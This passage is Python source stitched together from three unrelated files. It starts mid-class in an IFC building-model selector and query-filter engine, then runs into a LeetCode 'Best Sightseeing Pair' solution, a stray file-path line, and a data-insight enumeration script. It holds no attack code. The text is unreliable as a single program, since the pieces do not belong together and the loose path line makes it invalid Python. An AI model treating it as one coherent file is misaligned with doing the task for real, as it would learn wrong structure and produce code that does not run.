            element_value = getattr(element, name, None)
            return self.compare(element_value, comparison, value)

        self.elements = set(filter(filter_function, self.elements))

    def type(self, args):
        comparison, value = args

        def filter_function(element):
            element_value = getattr(ifcopenshell.util.element.get_type(element), "Name", None)
            return self.compare(element_value, comparison, value)

        self.elements = set(filter(filter_function, self.elements))

    def material(self, args):
        comparison, value = args

        def filter_function(element):
            materials = ifcopenshell.util.element.get_materials(element)
            result = False if materials else None
            for material in materials:
                if self.compare(material.Name, comparison, value):
                    result = True
                if self.compare(getattr(material, "Category", None), comparison, value):
                    result = True
            if result is not None:
                return result if comparison == "=" else not result
            return self.compare(None, comparison, value)

        self.elements = set(filter(filter_function, self.elements))

    def property(self, args):
        pset, prop, comparison, value = args

        def filter_function(element):
            if isinstance(pset, str) and isinstance(prop, str):
                element_value = ifcopenshell.util.element.get_pset(element, pset, prop)
                return self.compare(element_value, comparison, value)
            elif isinstance(pset, str) and isinstance(prop, re.Pattern):
                element_props = ifcopenshell.util.element.get_pset(element, pset) or {}
                for element_prop, element_value in element_props.items():
                    if prop.match(element_prop):
                        return self.compare(element_value, comparison, value)
            elif isinstance(pset, re.Pattern):
                element_psets = ifcopenshell.util.element.get_psets(element)
                for element_pset, element_props in element_psets.items():
                    if not pset.match(element_pset):
                        continue
                    if isinstance(prop, str):
                        element_value = element_props.get(prop, None)
                        if element_value is not None:
                            return self.compare(element_value, comparison, value)
                    elif isinstance(prop, re.Pattern):
                        for element_prop, element_value in element_props.items():
                            if prop.match(element_prop):
                                return self.compare(element_value, comparison, value)
            return self.compare(None, comparison, value)

        self.elements = set(filter(filter_function, self.elements))

    def classification(self, args):
        comparison, value = args

        def filter_function(element):
            references = ifcopenshell.util.classification.get_references(element)
            result = False if references else None
            for reference in references:
                if self.compare(reference.Name, comparison, value):
                    result = True
                if self.compare(
                    getattr(reference, "Identification", getattr(reference, "ItemReference", None)), comparison, value
                ):
                    result = True
            if result is not None:
                return result if comparison == "=" else not result
            return self.compare(None, comparison, value)

        self.elements = set(filter(filter_function, self.elements))

    def location(self, args):
        comparison, value = args

        def filter_function(element):
            container = ifcopenshell.util.element.get_container(element)
            containers = self.get_container_tree(container)
            result = False if containers else None
            for container in containers:
                if self.compare(container.Name, comparison, value):
                    result = True
            if result is not None:
                return result if comparison == "=" else not result
            return self.compare(None, comparison, value)

        self.elements = set(filter(filter_function, self.elements))

    def get_container_tree(self, container):
        tree = self.container_trees.get(container, None)
        if tree:
            return tree

        tree = []

        while container:
            if container.is_a("IfcProject"):
                break
            tree.append(container)
            container = ifcopenshell.util.element.get_aggregate(container)

        tree_copy = tree.copy()
        while tree_copy:
            self.container_trees[tree_copy.pop(0)] = tree_copy.copy()
        return tree

    def comparison(self, args):
        return "=" if args[0].data == "equals" else "!="

    def pset(self, args):
        return self.value(args)

    def prop(self, args):
        return self.value(args)

    def value(self, args):
        if args[0].data == "unquoted_string":
            return args[0].children[0].value
        elif args[0].data == "quoted_string":
            return args[0].children[0].value[1:-1].replace('\\"', '"')
        elif args[0].data == "regex_string":
            return re.compile(args[0].children[0].value)
        elif args[0].data == "special":
            if args[0].children[0].data == "null":
                return None
            elif args[0].children[0].data == "true":
                return True
            elif args[0].children[0].data == "false":
                return False

    def compare(self, element_value, comparison, value):
        if isinstance(value, str):
            if isinstance(element_value, int):
                value = int(value)
            elif isinstance(element_value, float):
                value = float(value)
            result = element_value == value
        elif isinstance(value, re.Pattern):
            result = bool(value.match(element_value))
        elif value in (None, True, False):
            result = element_value is value
        return result if comparison == "=" else not result

class Selector:
    @classmethod
    def parse(cls, ifc_file, query, elements=None):
        cls.file = ifc_file
        cls.elements = elements
        l = lark.Lark(
            """start: query (lfunction query)*
                    query: selector | group
                    group: "(" query (lfunction query)* ")"
                    selector: (inverse_relationship)? guid_selector | (inverse_relationship)? class_selector
                    guid_selector: "#" /[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_$]{22}/
                    class_selector: "." WORD filter ?
                    filter: "[" filter_key (comparison filter_value)? "]"
                    filter_key: WORD | ESCAPED_STRING | keys_regex | keys_quoted | keys_simple
                    filter_value: filter_regex | ESCAPED_STRING | SIGNED_FLOAT | SIGNED_INT | BOOLEAN | NULL
                    filter_regex: "r" ESCAPED_STRING
                    keys_regex: "r" ESCAPED_STRING ("." ESCAPED_STRING)*
                    keys_quoted: ESCAPED_STRING ("." ESCAPED_STRING)*
                    keys_simple: /[^\\W][^.=<>!%*\\]]*/ ("." /[^\\W][^.=<>!%*\\]]*/)*
                    lfunction: and | or
                    inverse_relationship: types | decomposed_by | bounded_by | grouped_by
                    types: "*"
                    decomposed_by: "@"
                    bounded_by: "@@"
                    grouped_by: "@@@"
                    and: "&"
                    or: "|"
                    not: "!"
                    comparison: (not)* (oneof | contains | morethanequalto | lessthanequalto | equal | morethan | lessthan)
                    oneof: "%="
                    contains: "*="
                    morethanequalto: ">="
                    lessthanequalto: "<="
                    equal: "="
                    morethan: ">"
                    lessthan: "<"
                    BOOLEAN: "TRUE" | "FALSE" | "true" | "false"| "True" | "False"
                    NULL: "NULL"

                    // Embed common.lark for packaging
                    DIGIT: "0".."9"
                    HEXDIGIT: "a".."f"|"A".."F"|DIGIT
                    INT: DIGIT+
                    SIGNED_INT: ["+"|"-"] INT
                    DECIMAL: INT "." INT? | "." INT
                    _EXP: ("e"|"E") SIGNED_INT
                    FLOAT: INT _EXP | DECIMAL _EXP?
                    SIGNED_FLOAT: ["+"|"-"] FLOAT
                    NUMBER: FLOAT | INT
                    SIGNED_NUMBER: ["+"|"-"] NUMBER
                    _STRING_INNER: /.*?/
                    _STRING_ESC_INNER: _STRING_INNER /(?<!\\\\)(\\\\\\\\)*?/
                    ESCAPED_STRING : "\\"" _STRING_ESC_INNER "\\""
                    LCASE_LETTER: "a".."z"
                    UCASE_LETTER: "A".."Z"
                    LETTER: UCASE_LETTER | LCASE_LETTER
                    WORD: LETTER+
                    CNAME: ("_"|LETTER) ("_"|LETTER|DIGIT)*
                    WS_INLINE: (" "|/\\t/)+
                    WS: /[ \\t\\f\\r\\n]/+
                    CR : /\\r/
                    LF : /\\n/
                    NEWLINE: (CR? LF)+

                    %ignore WS // Disregard spaces in text
                 """
        )

        start = l.parse(query)
        return cls.get_group(start)

    @classmethod
    def get_group(cls, group):
        lfunction = None
        for child in group.children:
            if child.data == "query":
                new_results = cls.get_query(child)
                if not lfunction:
                    results = new_results
                elif lfunction == "or":
                    results.extend(new_results)
                elif lfunction == "and":
                    results = list(set(results).intersection(new_results))
                results = list(set(results))
            elif child.data == "lfunction":
                lfunction = child.children[0].data
        return results

    @classmethod
    def get_query(cls, query):
        for child in query.children:
            if child.data == "selector":
                return cls.get_selector(child)
            elif child.data == "group":
                return cls.get_group(child)

    @classmethod
    def get_selector(cls, selector):
        if len(selector.children) == 1:
            inverse_relationship = None
            class_or_guid_selector = selector.children[0]
        else:
            inverse_relationship = selector.children[0]
            class_or_guid_selector = selector.children[1]

        if class_or_guid_selector.data == "class_selector":
            results = cls.get_class_selector(class_or_guid_selector)
        elif class_or_guid_selector.data == "guid_selector":
            results = cls.get_guid_selector(class_or_guid_selector)

        if not inverse_relationship:
            return results
        return cls.parse_inverse_relationship(results, inverse_relationship.children[0].data)

    @classmethod
    def parse_inverse_relationship(cls, elements, inverse_relationship):
        results = []
        for element in elements:
            if inverse_relationship == "types":
                if hasattr(element, "Types") and element.Types:
                    results.extend(element.Types[0].RelatedObjects)
                elif hasattr(element, "ObjectTypeOf") and element.ObjectTypeOf:
                    results.extend(element.ObjectTypeOf[0].RelatedObjects)
            elif inverse_relationship == "decomposed_by":
                results.extend(ifcopenshell.util.element.get_decomposition(element))
            elif inverse_relationship == "grouped_by":
                results.extend(ifcopenshell.util.element.get_grouped_by(element))
            elif inverse_relationship == "bounded_by" and hasattr(element, "BoundedBy"):
                for relationship in element.BoundedBy:
                    results.append(relationship.RelatedBuildingElement)
        return results

    @classmethod
    def get_class_selector(cls, class_selector):
        if class_selector.children[0] == "COBie":
            elements = ifcopenshell.util.fm.get_cobie_components(cls.file)
        elif class_selector.children[0] == "COBieType":
            elements = ifcopenshell.util.fm.get_cobie_types(cls.file)
        elif class_selector.children[0] == "FMHEM":
            elements = ifcopenshell.util.fm.get_fmhem_types(cls.file)
        else:
            if cls.elements is None:
                elements = cls.file.by_type(class_selector.children[0])
            else:
                elements = [e for e in cls.elements if e.is_a(class_selector.children[0])]
        if len(class_selector.children) > 1 and class_selector.children[1].data == "filter":
            return cls.filter_elements(elements, class_selector.children[1])
        return elements

    @classmethod
    def filter_elements(cls, elements, filter_rule):
        results = []
        filter_query = cls.parse_filter_query(filter_rule.children[0].children[0])
        comparison = value = None
        if len(filter_rule.children) > 1:
            comparison = filter_rule.children[1].children[0].data
            if comparison == "not":
                comparison += filter_rule.children[1].children[1].data
            filter_value = filter_rule.children[2].children[0]
            if isinstance(filter_value, lark.Tree):
                is_regex = True
                token_type = filter_value.data
            else:
                is_regex = False
                token_type = filter_value.type
            if token_type == "filter_regex":
                value = str(filter_value.children[0][1:-1])
            elif token_type == "ESCAPED_STRING":
                value = str(filter_value[1:-1])
            elif token_type == "SIGNED_INT":
                value = int(filter_value)
            elif token_type == "SIGNED_FLOAT":
                value = float(filter_value)
            elif token_type == "BOOLEAN":
                value = filter_value.lower() == "true"
            elif token_type == "NULL":
                value = None
        for element in elements:
            element_value = cls.get_element_value(element, filter_query["keys"], is_regex=filter_query["is_regex"])
            if element_value is None and value is not None and "not" not in comparison:
                continue
            if comparison and cls.filter_element(element, element_value, comparison, value, is_regex=is_regex):
                results.append(element)
            elif not comparison and element_value:
                results.append(element)
        return results

    @classmethod
    def parse_filter_query(cls, filter_query):
        keys = filter_query
        is_regex = False
        if isinstance(keys, str):
            keys = [keys]
        elif keys.data == "keys_regex":
            is_regex = True
            keys = [k[1:-1].replace('\\"', '"') for k in keys.children]
        elif keys.data == "keys_quoted":
            keys = [k[1:-1].replace('\\"', '"') for k in keys.children]
        elif keys.data == "keys_simple":
            keys = keys.children
        return {"keys": keys, "is_regex": is_regex}

    @classmethod
    def get_element_value(cls, element, keys, is_regex=False):
        value = element
        for key in keys:
            key = key.strip()
            if value is None:
                return
            if key == "type":
                value = ifcopenshell.util.element.get_type(value)
            elif key in ("material", "mat"):
                value = ifcopenshell.util.element.get_material(value, should_skip_usage=True)
            elif key in ("item", "i"):
                if value.is_a("IfcMaterialLayerSet"):
                    value = value.MaterialLayers
                elif value.is_a("IfcMaterialProfileSet"):
                    value = value.MaterialProfiles
                elif value.is_a("IfcMaterialConstituentSet"):
                    value = value.MaterialConstituents
            elif key == "container":
                value = ifcopenshell.util.element.get_container(value)
            elif key == "class":
                value = value.is_a()
            elif key == "id":
                value = value.id()
            elif isinstance(value, ifcopenshell.entity_instance):
                if key == "Name" and value.is_a("IfcMaterialLayerSet"):
                    key = "LayerSetName"  # This oddity in the IFC spec is annoying so we account for it.

                attribute = getattr(value, key, None)

                if attribute is not None:
                    value = attribute
                else:
                    # Try to extract pset
                    if is_regex:
                        psets = ifcopenshell.util.element.get_psets(value)
                        matching_psets = []
                        for pset_name, pset in psets.items():
                            if re.match(key, pset_name):
                                matching_psets.append(pset)
                        result = matching_psets or None
                    else:
                        result = ifcopenshell.util.element.get_pset(value, key)

                    value = result
            elif isinstance(value, dict):  # Such as from the result of a prior get_pset
                if is_regex:
                    results = []
                    for prop_name, prop_value in value.items():
                        if re.match(key, prop_name):
                            if isinstance(prop_value, (list, tuple)):
                                results.extend(prop_value)
                            else:
                                results.append(prop_value)
                    value = results
                else:
                    value = value.get(key, None)
            elif isinstance(value, (list, tuple)):  # If we use regex
                if key.isnumeric():
                    try:
                        value = value[int(key)]
                    except IndexError:
                        return
                else:
                    results = []
                    for v in value:
                        subvalue = cls.get_element_value(v, [key], is_regex=is_regex)
                        if isinstance(subvalue, list):
                            results.extend(subvalue)
                        else:
                            results.append(subvalue)
                    value = results
        return value

    @classmethod
    def filter_element(cls, element, element_value, comparison, value, is_regex=False):
        if comparison.startswith("not"):
            return not cls.filter_element(element, element_value, comparison[3:], value, is_regex=is_regex)
        elif comparison == "equal" and isinstance(element_value, list):
            if is_regex:
                for element_v in element_value:
                    if re.match(value, element_v):
                        return True
                return False
            return value in element_value
        elif comparison == "equal":
            if is_regex:
                return bool(re.match(value, element_value))
            return element_value == value
        elif comparison == "contains" and isinstance(element_value, list):
            return bool([ev for ev in element_value if value in str(ev)])
        elif comparison == "contains":
            return value in str(element_value)
        elif comparison == "morethan":
            return element_value > value
        elif comparison == "lessthan":
            return element_value < value
        elif comparison == "morethanequalto":
            return element_value >= value
        elif comparison == "lessthanequalto":
            return element_value <= value
        elif comparison == "oneof":
            return element_value in value.split(",")
        return False

    @classmethod
    def get_guid_selector(cls, guid_selector):
        return [cls.file.by_id(guid_selector.children[0])]


# Solution 1, elegant one
# it is more testing your modeling ability. Was thinking different kinds of two-pointer
# solution in the contest, but it is actually group (A[i] and i) together, and mark its
# highest values seen so far
class Solution:
    def maxScoreSightseeingPair(self, A: List[int]) -> int:
        res = curr = float('-inf')

        for i, c in enumerate(A):
            res = max(res, curr + c - i)
            curr = max(curr, c + i)

        return res

Algorithms/1014 Best Sightseeing Pair.py


from itertools import product
from insight_helper import EnumerateInsight

aggs = ["SUM", "COUNT", "AVG", "MAX", "MIN"]
# normal_dims = ["aid", "year", "coauthor"]
normal_dims = [0, 1]
q4_dims = []
ce_index = [0, 1, 2, 3]
###############   rank    %    davg  dprev
compatible_ce = [[True, False, True, True],    # rank
                 [True, False, True, True],      # %
                 [True, False, True, True],      # davg
                 [True, False, True, True]]       # dprev

def get_all_ces(tau, dims):
    if tau == 1:
        lst = []
        lst.append((-1,))
        return lst
    elif tau > 1:
        this_round = list(product(ce_index, dims))
        round_before = get_all_ces(tau-1, dims)
        return list(product(round_before, this_round))

def get_compatible_ces(tau, dims):
    if tau == 1 or tau == 2:
        return get_all_ces(tau, dims)
    elif tau > 2:
        res = []
        all_ces = get_all_ces(tau, dims)
        for item in all_ces:
            new_item = []

            while len(item) > 1:  # remove nested tuples from product operation
                new_item.append(item[1])
                item = item[0]
            new_item.append(item)

            new_item.reverse()
            compatible = True
            for i in range(1, len(new_item) - 1):
                op1 = new_item[i][0]
                op2 = new_item[i+1][0]
                if compatible_ce[op1][op2] == False:
                    compatible = False
                    break

            if compatible:
                res.append(new_item)

        return res

# print(len(get_all_ces(3)))
# print(len(get_compatible_ces(3)))

def insights(R, tau, k):
    H = []  # element (score, {"SG": SG, "Ce": ce, "type": T})

    dims = []
    if R == 1 or R == 2 or R == 3 or R == 4 or R == 5:
        dims = normal_dims
    # elif R == 4:
    #     dims = q4_dims
    else:
        print("Illegal dataset index")

    O = get_compatible_ces(tau, dims)
    d = len(dims)
    for ce in O:
        for i in range(d):
            S = ['*', '*']
            EnumerateInsight(S, i, ce, H, R, k, tau)
    return H